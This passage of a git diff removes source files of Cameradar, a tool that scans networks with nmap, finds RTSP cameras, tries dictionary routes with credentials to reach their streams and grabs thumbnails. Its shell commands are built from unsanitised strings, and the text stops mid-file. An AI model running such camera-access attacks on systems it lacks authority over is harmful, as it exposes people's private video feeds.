-// Copyright 2016 Etix Labs -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. - -#include - -namespace etix { -namespace cameradar { - -// The first command checks if dpkg finds nmap in the system by cutting the -// result and grepping -// nmap from it. -// -// The second command checks the version of nmap, right now it needs to be the -// 6.47 but this could -// be changed to 6 or greater depending on the needs. In a docker container -// this should not be a -// problem. -bool -nmap_is_ok() { - return ( - (system("dpkg -l | cut -c 5-9 | grep nmap") == 0) - && launch_command("mkdir -p /tmp/scans")); // Creates the directory in which the scans will be stored -} - -// Launches and checks the return of the nmap command -// Uses the target specified in the conf file to launch nmap -bool -mapping::run() const { - if (nmap_is_ok()) { - std::string target = this->conf.target; - std::replace(target.begin(), target.end(), ',', ' '); - LOG_INFO_("Nmap 6.0 or greater found", "mapping"); - LOG_INFO_("Beginning mapping task. This may take a while.", "mapping"); - std::string cmd = - "nmap -T4 -A " + target + " -p " + this->conf.ports + " -oX " + nmap_output; - LOG_DEBUG_("Launching nmap : " + cmd, "mapping"); - bool ret = launch_command(cmd); - if (ret) - LOG_INFO_("Nmap XML output successfully generated in file: " + nmap_output, "mapping"); - else - LOG_ERR_("Nmap command failed", "mapping"); - return ret; - } else { - LOG_ERR_("Nmap 6.0 or greater is required to launch Cameradar", "mapping"); - return false; - } -} -} -} diff --git a/cameradar_standalone/src/tasks/parsing.cpp b/cameradar_standalone/src/tasks/parsing.cpp deleted file mode 100644 index 844eaa0..0000000 --- a/cameradar_standalone/src/tasks/parsing.cpp +++ /dev/null @@ -1,122 +0,0 @@ -// Copyright 2016 Etix Labs -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. - -#include - -namespace etix { -namespace cameradar { - -static const std::string no_hosts_found_ = - "No hosts were discovered on your network. Please check your internet " - "connexion " - "and verify that the targetworks you specified in your configuration file " - "were " - "accessible"; - -// Avoids segfaults on unknown xml structure -std::string -xml_safe_get(const TiXmlElement* elem, const std::string& attr) { - if (elem == nullptr) return "closed"; - if (elem->Attribute(attr.c_str()) != nullptr) return std::string(elem->Attribute(attr.c_str())); - return "closed"; -} - -// Parse a single host node (generally containing only one camera) -// Pushes it back to the data structure -void -parsing::parse_camera(TiXmlElement* xml_host, std::vector& data) const { - TiXmlElement* xml_streams = xml_host->FirstChild("ports")->ToElement(); - stream_model stream; - for (TiXmlElement* xml_stream = xml_streams->FirstChild("port")->ToElement(); xml_stream; - xml_stream = xml_stream->NextSiblingElement("port")) { - stream.address = xml_safe_get(xml_host->FirstChild("address")->ToElement(), "addr"); - stream.protocol = xml_safe_get(xml_stream, "protocol"); - stream.port = static_cast(std::stoi(xml_safe_get(xml_stream, "portid"))); - TiXmlElement* state = xml_stream->FirstChild("state")->ToElement(); - stream.state = xml_safe_get(state, "state"); - TiXmlElement* service; - if (state->NextSibling("service") && - (service = state->NextSibling("service")->ToElement())) { - stream.service_name = xml_safe_get(service, "name"); - stream.product = xml_safe_get(service, "product"); - } else { - stream.service_name = "closed"; - stream.product = "closed"; - } - if (!stream.state.compare("open")) data.push_back(stream); - } -} - -// Prints all detected cameras into the data structure and stops the program if -// no open RTSP streams were found -bool -parsing::print_detected_cameras(const std::vector& data) const { - int added = 0; - for (const auto& stream : data) { - if (!stream.service_name.compare("rtsp") && !stream.state.compare("open")) { - try { - LOG_INFO_("Generated JSON Result : " + deserialize(stream).toStyledString(), - "print"); - added++; - } catch (const std::runtime_error& e) { - LOG_WARN_("Port already scanned : " + std::string(e.what()), "parsing"); - added++; - } - } - } - if (!added) { - LOG_WARN_( - "Mapping unsuccessful, no rtsp streams were discovered. You " - "should try other " - "targetworks", - "parsing"); - return false; - } - LOG_INFO_("Mapping successfuly ended, " + std::to_string(added) + - " RTSP streams were discovered.", - "parsing"); - (*cache)->set_streams(data); - return true; -} - -// Opens the nmap output file, parses the data of each discovered port -// Adds the RTSP ports only into the DB -bool -parsing::run() const { - std::vector data; - try { - TiXmlDocument doc(nmap_output.c_str()); - doc.LoadFile(); - TiXmlHandle docHandle(&doc); - - TiXmlElement* nmaprun = docHandle.FirstChild("nmaprun").ToElement(); - TiXmlNode* xml_node = nmaprun->FirstChild("host"); - if (xml_node == NULL) return false; - TiXmlElement* xml_host; - if ((xml_host = xml_node->ToElement()) && xml_host->Attribute("endtime")) - for (xml_host = xml_node->ToElement(); xml_host; - xml_host = xml_host->NextSiblingElement("host")) { - parse_camera(xml_host, data); - } - else - LOG_WARN_(no_hosts_found_, "parsing"); - if (data.size() == 0) { LOG_WARN_("No cameras were discovered", "parsing"); } - return print_detected_cameras(data); - } catch (const std::exception& e) { - LOG_ERR_("Error during parsing. path_attack aborted : " + std::string(e.what()), "parsing"); - return false; - } -} -} -} diff --git a/cameradar_standalone/src/tasks/path_attack.cpp b/cameradar_standalone/src/tasks/path_attack.cpp deleted file mode 100644 index b92373f..0000000 --- a/cameradar_standalone/src/tasks/path_attack.cpp +++ /dev/null @@ -1,114 +0,0 @@ -// Copyright (C) 2016 Etix Labs - All Rights Reserved. -// All information contained herein is, and remains the property of Etix Labs -// and its suppliers, -// if any. The intellectual and technical concepts contained herein are -// proprietary to Etix Labs -// Dissemination of this information or reproduction of this material is -// strictly forbidden unless -// prior written permission is obtained from Etix Labs. - -#include - -namespace etix { -namespace cameradar { - -static const std::string no_route_found_ = - "The url.json files' default paths didn't match with the discovered " - "cameras. Either " - "they have a custom path, or your url.json file does not contain enough " - "default " - "routes. Thumbnail generation is impossible without the path."; - -// Tries to match the detected combination of Username / Password -// with a route for the camera stream. Creates a resource in the DB upon -// valid discovery -bool -path_attack::test_path(const stream_model& stream, const std::string& route) const { - bool found = false; - std::string path = stream.service_name + "://" + stream.username + ":" + stream.password + "@" + - stream.address + ":" + std::to_string(stream.port); - if (route.front() != '/') { path += "/"; } - path += route; - LOG_INFO_("Testing path : " + path, "path_attack"); - try { - if (curl_describe(path, false)) { - // insert in DB and go to the next port, print a cool message - found = true; - LOG_INFO_("Discovered a valid path : [" + path + "]", "path_attack"); - stream_model newstream{ - stream.address, stream.port, stream.username, stream.password, route, - stream.service_name, stream.product, stream.protocol, stream.state, true, - stream.ids_found, stream.thumbnail_path - }; - if ((*cache)->has_changed(stream)) return true; - (*cache)->update_stream(newstream); - } else { - stream_model newstream{ - stream.address, stream.port, stream.username, stream.password, route, - stream.service_name, stream.product, stream.protocol, stream.state, false, - stream.ids_found, stream.thumbnail_path - }; - if ((*cache)->has_changed(stream)) return true; - (*cache)->update_stream(newstream); - } - } catch (const std::runtime_error& e) { LOG_INFO_(e.what(), "path_attack"); } - return found; -} - -bool -path_already_found(std::vector streams, stream_model model) { - for (const auto& stream : streams) { - if ((model.address == stream.address) && (model.port == stream.port) && stream.path_found) - return true; - } - return false; -} - -bool -path_attack::attack_camera_path(const stream_model& stream) const { - for (const auto& route : conf.paths) { - if (signal_handler::instance().should_stop() != etix::cameradar::stop_priority::running) - break; - if ((*cache)->has_changed(stream)) return true; - if (test_path(stream, route)) return true; - } - return false; -} - -// Tries to discover a route on all RTSP streams in DB -// Uses the url.json file to try different routes -bool -path_attack::run() const { - std::vector> futures; - - LOG_INFO_("Beginning attack of the camera paths, it may take a while.", "path_attack"); - std::vector streams = (*cache)->get_streams(); - int found = 0; - for (const auto& stream : streams) { - if (signal_handler::instance().should_stop() != etix::cameradar::stop_priority::running) - break; - if (path_already_found(streams, stream)) { - LOG_INFO_(stream.address + - " : This camera's path was already discovered in the database. Skipping " - "to the next camera.", - "path_attack"); - ++found; - } else { - futures.push_back( - std::async(std::launch::async, &path_attack::attack_camera_path, this, stream)); - } - } - for (auto& fit : futures) { - if (fit.get()) { ++found; } - } - if (!found) { - LOG_WARN_(no_route_found_, "path_attack"); - - } else - LOG_INFO_("Found " + std::to_string(found) + " routes for " + - std::to_string(streams.size()) + " cameras", - "path_attack"); - return true; -} -} -} diff --git a/cameradar_standalone/src/tasks/print.cpp b/cameradar_standalone/src/tasks/print.cpp deleted file mode 100644 index bec50ce..0000000 --- a/cameradar_standalone/src/tasks/print.cpp +++ /dev/null @@ -1,47 +0,0 @@ -// Copyright 2016 Etix Labs -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. - -#include - -namespace etix { -namespace cameradar { - -// Launches and checks the return of the nmap command -// Uses the specified targets in the conf file to launch nmap -bool -print::run() const { - std::vector results = (*cache)->get_valid_streams(); - std::ofstream file; - - file.open(default_result_file_path); - if (file.fail()) { - LOG_ERR_("Result file could not be opened : " + default_result_file_path, "print"); - return false; - } - - file << "[\n"; - unsigned int i = 0; - for (const auto& stream : results) { - file << deserialize(stream).toStyledString(); - - if (++i < results.size()) file << ","; - - LOG_INFO_("Generated JSON Result : " + deserialize(stream).toStyledString(), "print"); - } - file << "]"; - file.close(); - return true; -} -} -} diff --git a/cameradar_standalone/src/tasks/stream_check.cpp b/cameradar_standalone/src/tasks/stream_check.cpp deleted file mode 100644 index 1e05145..0000000 --- a/cameradar_standalone/src/tasks/stream_check.cpp +++ /dev/null @@ -1,77 +0,0 @@ -// Copyright 2016 Etix Labs -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. - -#include - -namespace etix { -namespace cameradar { - -// Gets all the discovered streams with good routes and logs -// And launches an ffmpeg command to generate a thumbnail -// In order to check for the stream validity -bool -stream_check::run() const { - GstElement* elem; - gst_init(nullptr, nullptr); - std::vector streams = (*cache)->get_valid_streams(); - - if (not streams.size()) { - LOG_WARN_("There were no valid streams to check. Cameradar will stop.", "stream_check"); - return false; - } - - for (const auto& stream : streams) { - GError* error = NULL; - - GstElement* pipeline = - gst_parse_launch("rtspsrc name=source ! rtph264depay ! h264parse ! fakesink", &error); - - std::string location = "rtsp://"; - location += stream.username + ":" + stream.password + "@" + stream.address + ":" + - std::to_string(stream.port); - if (pipeline == NULL) { - LOG_ERR_("[" + stream.address + "] Can't configure pipeline", "stream_check"); - return false; - } else { - elem = gst_bin_get_by_name(GST_BIN(pipeline), "source"); - LOG_DEBUG_("Launching gstreamer check on rtsp://" + stream.username + ":" + - stream.password + "@" + stream.address + ":" + - std::to_string(stream.port), - "gstreamer check"); - g_object_set(G_OBJECT(elem), "location", location.c_str(), "latency", 20, NULL); - - if (gst_element_set_state(pipeline, GST_STATE_PLAYING) == GST_STATE_CHANGE_FAILURE) { - LOG_ERR_( - "This stream is unaccessible with GStreamer, there must be a " - "configuration issue", - "stream_check"); - gst_object_unref(pipeline); - stream_model invalidstream{ - stream.address, stream.port, stream.username, stream.password, - stream.route, stream.service_name, stream.product, stream.protocol, - "invalid stream", stream.path_found, stream.ids_found, stream.thumbnail_path - }; - (*cache)->update_stream(invalidstream); - return false; - } - LOG_INFO_("[" + stream.address + - "] This stream is accessible and seems to be functional", - "stream_check"); - } - } - LOG_INFO_("All streams could be accessed with GStreamer", "stream_check"); - return true; -} -} -} diff --git a/cameradar_standalone/src/tasks/thumbnail.cpp b/cameradar_standalone/src/tasks/thumbnail.cpp deleted file mode 100644 index 4ebcc6b..0000000 --- a/cameradar_standalone/src/tasks/thumbnail.cpp +++ /dev/null @@ -1,116 +0,0 @@ -// Copyright 2016 Etix Labs -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. - -#include - -namespace etix { -namespace cameradar { - -std::string -remove_trailing_backslash(std::string s) { - while (s.back() == '/') { s.pop_back(); } - return s; -} - -// Tranforms the path into a path for the thumbnail -// Example : -// rtsp://username:password@172.16.100.13/live.sdp -// will become /storage/path/172.16.100.13/1345425533.jpg -std::string -thumbnail::build_output_file_path(const std::string& path) const { - auto ss = std::stringstream{}; - - ss << remove_trailing_backslash(this->conf.thumbnail_storage_path); - ss << "/"; - ss << path; - ss << "/"; - ss << std::to_string(std::chrono::system_clock::to_time_t(std::chrono::system_clock::now())); - ss << ".jpg"; - - return ss.str(); -} - -bool -thumbnail::generate_thumbnail(const stream_model& stream) const { - LOG_INFO_("Generating thumbnail for " + stream.address, "thumbnail_generation"); - if (signal_handler::instance().should_stop() != etix::cameradar::stop_priority::running) - return false; - std::string ffmpeg_cmd = - "mkdir -p %s ; " - "timeout 20 " - "ffmpeg " - "-rtsp_transport tcp " - "-y " - "-nostdin " - "-loglevel quiet " // no logs - "-i '%s' " // input - "-vcodec mjpeg " // jpeg codec - "-vframes 1 " // only take one frame - "-an " // disable audio - "-f image2 " // force image - "-s 240x180 " // force size - "'%s'"; - std::string fullpath = make_path(stream); - std::string output = build_output_file_path(stream.address); - ffmpeg_cmd = tool::fmt(ffmpeg_cmd.c_str(), - output.substr(0, output.find_last_of("/")).c_str(), - fullpath.c_str(), - output.c_str()); - if (!launch_command(ffmpeg_cmd)) { - LOG_WARN_("The following command [" + ffmpeg_cmd + - "] didn't work. That can either mean that the stream is " - "not valid or " - "that there is a problem with the camera.", - "thumbnail_generation"); - return false; - } else { - LOG_DEBUG_("Generated thumbnail : " + ffmpeg_cmd, "thumbnail_generation"); - try { - stream_model result{ stream.address, stream.port, stream.username, - stream.password, stream.route, stream.service_name, - stream.product, stream.protocol, stream.state, - stream.path_found, stream.ids_found, output }; - (*cache)->update_stream(result); - - } catch (const std::exception& e) { LOG_DEBUG_(e.what(), "thumbnail_generation"); } - } - return true; -} - -// Gets all the discovered streams with good routes and logs -// And launches an ffmpeg command to generate a thumbnail -// In order to check for the stream validity -bool -thumbnail::run() const { - std::vector> futures; - std::vector streams = (*cache)->get_valid_streams(); - - LOG_INFO_("Started thumbnail generation, it may take a while", "thumbnail"); - if (not streams.size()) { - LOG_WARN_("There were no valid streams to generate thumbnails from. Cameradar will stop.", - "thumbnail_generation"); - return false; - } - int done = 0; - for (const auto& stream : streams) { - futures.push_back( - std::async(std::launch::async, &thumbnail::generate_thumbnail, this, stream)); - } - for (auto& fit : futures) { - if (fit.get()) { ++done; } - } - return true; -} -} -} diff --git a/cameradar_standalone/src/tinystr.cpp b/cameradar_standalone/src/tinystr.cpp deleted file mode 100644 index d76873b..0000000 --- a/cameradar_standalone/src/tinystr.cpp +++ /dev/null @@ -1,94 +0,0 @@ -/* -www.sourceforge.net/projects/tinyxml - -This software is provided 'as-is', without any express or implied -warranty. In no event will the authors be held liable for any -damages arising from the use of this software. - -Permission is granted to anyone to use this software for any -purpose, including commercial applications, and to alter it and -redistribute it freely, subject to the following restrictions: - -1. The origin of this software must not be misrepresented; you must -not claim that you wrote the original software. If you use this -software in a product, an acknowledgment in the product documentation -would be appreciated but is not required. - -2. Altered source versions must be plainly marked as such, and -must not be misrepresented as being the original software. - -3. This notice may not be removed or altered from any source -distribution. -*/ - -#ifndef TIXML_USE_STL - -#include "tinystr.h" - -// Error value for find primitive -const TiXmlString::size_type TiXmlString::npos = static_cast(-1); - -// Null rep. -TiXmlString::Rep TiXmlString::nullrep_ = { 0, 0, { '\0' } }; - -void -TiXmlString::reserve(size_type cap) { - if (cap > capacity()) { - TiXmlString tmp; - tmp.init(length(), cap); - memcpy(tmp.start(), data(), length()); - swap(tmp); - } -} - -TiXmlString& -TiXmlString::assign(const char* str, size_type len) { - size_type cap = capacity(); - if (len > cap || cap > 3 * (len + 8)) { - TiXmlString tmp; - tmp.init(len); - memcpy(tmp.start(), str, len); - swap(tmp); - } else { - memmove(start(), str, len); - set_size(len); - } - return *this; -} - -TiXmlString& -TiXmlString::append(const char* str, size_type len) { - size_type newsize = length() + len; - if (newsize > capacity()) { reserve(newsize + capacity()); } - memmove(finish(), str, len); - set_size(newsize); - return *this; -} - -TiXmlString operator+(const TiXmlString& a, const TiXmlString& b) { - TiXmlString tmp; - tmp.reserve(a.length() + b.length()); - tmp += a; - tmp += b; - return tmp; -} - -TiXmlString operator+(const TiXmlString& a, const char* b) { - TiXmlString tmp; - TiXmlString::size_type b_len = static_cast(strlen(b)); - tmp.reserve(a.length() + b_len); - tmp += a; - tmp.append(b, b_len); - return tmp; -} - -TiXmlString operator+(const char* a, const TiXmlString& b) { - TiXmlString tmp; - TiXmlString::size_type a_len = static_cast(strlen(a)); - tmp.reserve(a_len + b.length()); - tmp.append(a, a_len); - tmp += b; - return tmp; -} - -#endif // TIXML_USE_STL diff --git a/cameradar_standalone/src/tinyxml.cpp b/cameradar_standalone/src/tinyxml.cpp deleted file mode 100644 index 5765564..0000000 --- a/cameradar_standalone/src/tinyxml.cpp +++ /dev/null @@ -1,1547 +0,0 @@ -/* -www.sourceforge.net/projects/tinyxml -Original code by Lee Thomason (www.grinninglizard.com) - -This software is provided 'as-is', without any express or implied -warranty. In no event will the authors be held liable for any -damages arising from the use of this software. - -Permission is granted to anyone to use this software for any -purpose, including commercial applications, and to alter it and -redistribute it freely, subject to the following restrictions: - -1. The origin of this software must not be misrepresented; you must -not claim that you wrote the original software. If you use this -software in a product, an acknowledgment in the product documentation -would be appreciated but is not required. - -2. Altered source versions must be plainly marked as such, and -must not be misrepresented as being the original software. - -3. This notice may not be removed or altered from any source -distribution. -*/ - -#include - -#ifdef TIXML_USE_STL -#include -#include -#endif - -#include "tinyxml.h" - -FILE* TiXmlFOpen(const char* filename, const char* mode); - -bool TiXmlBase::condenseWhiteSpace = true; - -// Microsoft compiler security -FILE* -TiXmlFOpen(const char* filename, const char* mode) { -#if defined(_MSC_VER) && (_MSC_VER >= 1400) - FILE* fp = 0; - errno_t err = fopen_s(&fp, filename, mode); - if (!err && fp) return fp; - return 0; -#else - return fopen(filename, mode); -#endif -} - -void -TiXmlBase::EncodeString(const TIXML_STRING& str, TIXML_STRING* outString) { - int i = 0; - - while (i < (int)str.length()) { - unsigned char c = (unsigned char)str[i]; - - if (c == '&' && i < ((int)str.length() - 2) && str[i + 1] == '#' && str[i + 2] == 'x') { - // Hexadecimal character reference. - // Pass through unchanged. - // © -- copyright symbol, for example. - // - // The -1 is a bug fix from Rob Laveaux. It keeps - // an overflow from happening if there is no ';'. - // There are actually 2 ways to exit this loop - - // while fails (error case) and break (semicolon found). - // However, there is no mechanism (currently) for - // this function to return an error. - while (i < (int)str.length() - 1) { - outString->append(str.c_str() + i, 1); - ++i; - if (str[i] == ';') break; - } - } else if (c == '&') { - outString->append(entity[0].str, entity[0].strLength); - ++i; - } else if (c == '<') { - outString->append(entity[1].str, entity[1].strLength); - ++i; - } else if (c == '>') { - outString->append(entity[2].str, entity[2].strLength); - ++i; - } else if (c == '\"') { - outString->append(entity[3].str, entity[3].strLength); - ++i; - } else if (c == '\'') { - outString->append(entity[4].str, entity[4].strLength); - ++i; - } else if (c < 32) { - // Easy pass at non-alpha/numeric/symbol - // Below 32 is symbolic. - char buf[32]; - -#if defined(TIXML_SNPRINTF) - TIXML_SNPRINTF(buf, sizeof(buf), "&#x%02X;", (unsigned)(c & 0xff)); -#else - sprintf(buf, "&#x%02X;", (unsigned)(c & 0xff)); -#endif - - //*ME: warning C4267: convert 'size_t' to 'int' - //*ME: Int-Cast to make compiler happy ... - outString->append(buf, (int)strlen(buf)); - ++i; - } else { - // char realc = (char) c; - // outString->append( &realc, 1 ); - *outString += (char)c; // somewhat more efficient function call. - ++i; - } - } -} - -TiXmlNode::TiXmlNode(NodeType _type) : TiXmlBase() { - parent = 0; - type = _type; - firstChild = 0; - lastChild = 0; - prev = 0; - next = 0; -} - -TiXmlNode::~TiXmlNode() { - TiXmlNode* node = firstChild; - TiXmlNode* temp = 0; - - while (node) { - temp = node; - node = node->next; - delete temp; - } -} - -void -TiXmlNode::CopyTo(TiXmlNode* target) const { - target->SetValue(value.c_str()); - target->userData = userData; - target->location = location; -} - -void -TiXmlNode::Clear() { - TiXmlNode* node = firstChild; - TiXmlNode* temp = 0; - - while (node) { - temp = node; - node = node->next; - delete temp; - } - - firstChild = 0; - lastChild = 0; -} - -TiXmlNode* -TiXmlNode::LinkEndChild(TiXmlNode* node) { - assert(node->parent == 0 || node->parent == this); - assert(node->GetDocument() == 0 || node->GetDocument() == this->GetDocument()); - - if (node->Type() == TiXmlNode::TINYXML_DOCUMENT) { - delete node; - if (GetDocument()) - GetDocument()->SetError(TIXML_ERROR_DOCUMENT_TOP_ONLY, 0, 0, TIXML_ENCODING_UNKNOWN); - return 0; - } - - node->parent = this; - - node->prev = lastChild; - node->next = 0; - - if (lastChild) - lastChild->next = node; - else - firstChild = node; // it was an empty list. - - lastChild = node; - return node; -} - -TiXmlNode* -TiXmlNode::InsertEndChild(const TiXmlNode& addThis) { - if (addThis.Type() == TiXmlNode::TINYXML_DOCUMENT) { - if (GetDocument()) - GetDocument()->SetError(TIXML_ERROR_DOCUMENT_TOP_ONLY, 0, 0, TIXML_ENCODING_UNKNOWN); - return 0; - } - TiXmlNode* node = addThis.Clone(); - if (!node) return 0; - - return LinkEndChild(node); -} - -TiXmlNode* -TiXmlNode::InsertBeforeChild(TiXmlNode* beforeThis, const TiXmlNode& addThis) { - if (!beforeThis || beforeThis->parent != this) { return 0; } - if (addThis.Type() == TiXmlNode::TINYXML_DOCUMENT) { - if (GetDocument()) - GetDocument()->SetError(TIXML_ERROR_DOCUMENT_TOP_ONLY, 0, 0, TIXML_ENCODING_UNKNOWN); - return 0; - } - - TiXmlNode* node = addThis.Clone(); - if (!node) return 0; - node->parent = this; - - node->next = beforeThis; - node->prev = beforeThis->prev; - if (beforeThis->prev) { - beforeThis->prev->next = node; - } else { - assert(firstChild == beforeThis); - firstChild = node; - } - beforeThis->prev = node; - return node; -} - -TiXmlNode* -TiXmlNode::InsertAfterChild(TiXmlNode* afterThis, const TiXmlNode& addThis) { - if (!afterThis || afterThis->parent != this) { return 0; } - if (addThis.Type() == TiXmlNode::TINYXML_DOCUMENT) { - if (GetDocument()) - GetDocument()->SetError(TIXML_ERROR_DOCUMENT_TOP_ONLY, 0, 0, TIXML_ENCODING_UNKNOWN); - return 0; - } - - TiXmlNode* node = addThis.Clone(); - if (!node) return 0; - node->parent = this; - - node->prev = afterThis; - node->next = afterThis->next; - if (afterThis->next) { - afterThis->next->prev = node; - } else { - assert(lastChild == afterThis); - lastChild = node; - } - afterThis->next = node; - return node; -} - -TiXmlNode* -TiXmlNode::ReplaceChild(TiXmlNode* replaceThis, const TiXmlNode& withThis) { - if (!replaceThis) return 0; - - if (replaceThis->parent != this) return 0; - - if (withThis.ToDocument()) { - // A document can never be a child. Thanks to Noam. - TiXmlDocument* document = GetDocument(); - if (document) - document->SetError(TIXML_ERROR_DOCUMENT_TOP_ONLY, 0, 0, TIXML_ENCODING_UNKNOWN); - return 0; - } - - TiXmlNode* node = withThis.Clone(); - if (!node) return 0; - - node->next = replaceThis->next; - node->prev = replaceThis->prev; - - if (replaceThis->next) - replaceThis->next->prev = node; - else - lastChild = node; - - if (replaceThis->prev) - replaceThis->prev->next = node; - else - firstChild = node; - - delete replaceThis; - node->parent = this; - return node; -} - -bool -TiXmlNode::RemoveChild(TiXmlNode* removeThis) { - if (!removeThis) { return false; } - - if (removeThis->parent != this) { - assert(0); - return false; - } - - if (removeThis->next) - removeThis->next->prev = removeThis->prev; - else - lastChild = removeThis->prev; - - if (removeThis->prev) - removeThis->prev->next = removeThis->next; - else - firstChild = removeThis->next; - - delete removeThis; - return true; -} - -const TiXmlNode* -TiXmlNode::FirstChild(const char* _value) const { - const TiXmlNode* node; - for (node = firstChild; node; node = node->next) { - if (strcmp(node->Value(), _value) == 0) return node; - } - return 0; -} - -const TiXmlNode* -TiXmlNode::LastChild(const char* _value) const { - const TiXmlNode* node; - for (node = lastChild; node; node = node->prev) { - if (strcmp(node->Value(), _value) == 0) return node; - } - return 0; -} - -const TiXmlNode* -TiXmlNode::IterateChildren(const TiXmlNode* previous) const { - if (!previous) { - return FirstChild(); - } else { - assert(previous->parent == this); - return previous->NextSibling(); - } -} - -const TiXmlNode* -TiXmlNode::IterateChildren(const char* val, const TiXmlNode* previous) const { - if (!previous) { - return FirstChild(val); - } else { - assert(previous->parent == this); - return previous->NextSibling(val); - } -} - -const TiXmlNode* -TiXmlNode::NextSibling(const char* _value) const { - const TiXmlNode* node; - for (node = next; node; node = node->next) { - if (strcmp(node->Value(), _value) == 0) return node; - } - return 0; -} - -const TiXmlNode* -TiXmlNode::PreviousSibling(const char* _value) const { - const TiXmlNode* node; - for (node = prev; node; node = node->prev) { - if (strcmp(node->Value(), _value) == 0) return node; - } - return 0; -} - -void -TiXmlElement::RemoveAttribute(const char* name) { -#ifdef TIXML_USE_STL - TIXML_STRING str(name); - TiXmlAttribute* node = attributeSet.Find(str); -#else - TiXmlAttribute* node = attributeSet.Find(name); -#endif - if (node) { - attributeSet.Remove(node); - delete node; - } -} - -const TiXmlElement* -TiXmlNode::FirstChildElement() const { - const TiXmlNode* node; - - for (node = FirstChild(); node; node = node->NextSibling()) { - if (node->ToElement()) return node->ToElement(); - } - return 0; -} - -const TiXmlElement* -TiXmlNode::FirstChildElement(const char* _value) const { - const TiXmlNode* node; - - for (node = FirstChild(_value); node; node = node->NextSibling(_value)) { - if (node->ToElement()) return node->ToElement(); - } - return 0; -} - -const TiXmlElement* -TiXmlNode::NextSiblingElement() const { - const TiXmlNode* node; - - for (node = NextSibling(); node; node = node->NextSibling()) { - if (node->ToElement()) return node->ToElement(); - } - return 0; -} - -const TiXmlElement* -TiXmlNode::NextSiblingElement(const char* _value) const { - const TiXmlNode* node; - - for (node = NextSibling(_value); node; node = node->NextSibling(_value)) { - if (node->ToElement()) return node->ToElement(); - } - return 0; -} - -const TiXmlDocument* -TiXmlNode::GetDocument() const { - const TiXmlNode* node; - - for (node = this; node; node = node->parent) { - if (node->ToDocument()) return node->ToDocument(); - } - return 0; -} - -TiXmlElement::TiXmlElement(const char* _value) : TiXmlNode(TiXmlNode::TINYXML_ELEMENT) { - firstChild = lastChild = 0; - value = _value; -} - -#ifdef TIXML_USE_STL -TiXmlElement::TiXmlElement(const std::string& _value) : TiXmlNode(TiXmlNode::TINYXML_ELEMENT) { - firstChild = lastChild = 0; - value = _value; -} -#endif - -TiXmlElement::TiXmlElement(const TiXmlElement& copy) : TiXmlNode(TiXmlNode::TINYXML_ELEMENT) { - firstChild = lastChild = 0; - copy.CopyTo(this); -} - -TiXmlElement& TiXmlElement::operator=(const TiXmlElement& base) { - ClearThis(); - base.CopyTo(this); - return *this; -} - -TiXmlElement::~TiXmlElement() { ClearThis(); } - -void -TiXmlElement::ClearThis() { - Clear(); - while (attributeSet.First()) { - TiXmlAttribute* node = attributeSet.First(); - attributeSet.Remove(node); - delete node; - } -} - -const char* -TiXmlElement::Attribute(const char* name) const { - const TiXmlAttribute* node = attributeSet.Find(name); - if (node) return node->Value(); - return 0; -} - -#ifdef TIXML_USE_STL -const std::string* -TiXmlElement::Attribute(const std::string& name) const { - const TiXmlAttribute* attrib = attributeSet.Find(name); - if (attrib) return &attrib->ValueStr(); - return 0; -} -#endif - -const char* -TiXmlElement::Attribute(const char* name, int* i) const { - const TiXmlAttribute* attrib = attributeSet.Find(name); - const char* result = 0; - - if (attrib) { - result = attrib->Value(); - if (i) { attrib->QueryIntValue(i); } - } - return result; -} - -#ifdef TIXML_USE_STL -const std::string* -TiXmlElement::Attribute(const std::string& name, int* i) const { - const TiXmlAttribute* attrib = attributeSet.Find(name); - const std::string* result = 0; - - if (attrib) { - result = &attrib->ValueStr(); - if (i) { attrib->QueryIntValue(i); } - } - return result; -} -#endif - -const char* -TiXmlElement::Attribute(const char* name, double* d) const { - const TiXmlAttribute* attrib = attributeSet.Find(name); - const char* result = 0; - - if (attrib) { - result = attrib->Value(); - if (d) { attrib->QueryDoubleValue(d); } - } - return result; -} - -#ifdef TIXML_USE_STL -const std::string* -TiXmlElement::Attribute(const std::string& name, double* d) const { - const TiXmlAttribute* attrib = attributeSet.Find(name); - const std::string* result = 0; - - if (attrib) { - result = &attrib->ValueStr(); - if (d) { attrib->QueryDoubleValue(d); } - } - return result; -} -#endif - -int -TiXmlElement::QueryIntAttribute(const char* name, int* ival) const { - const TiXmlAttribute* attrib = attributeSet.Find(name); - if (!attrib) return TIXML_NO_ATTRIBUTE; - return attrib->QueryIntValue(ival); -} - -int -TiXmlElement::QueryUnsignedAttribute(const char* name, unsigned* value) const { - const TiXmlAttribute* node = attributeSet.Find(name); - if (!node) return TIXML_NO_ATTRIBUTE; - - int ival = 0; - int result = node->QueryIntValue(&ival); - *value = (unsigned)ival; - return result; -} - -int 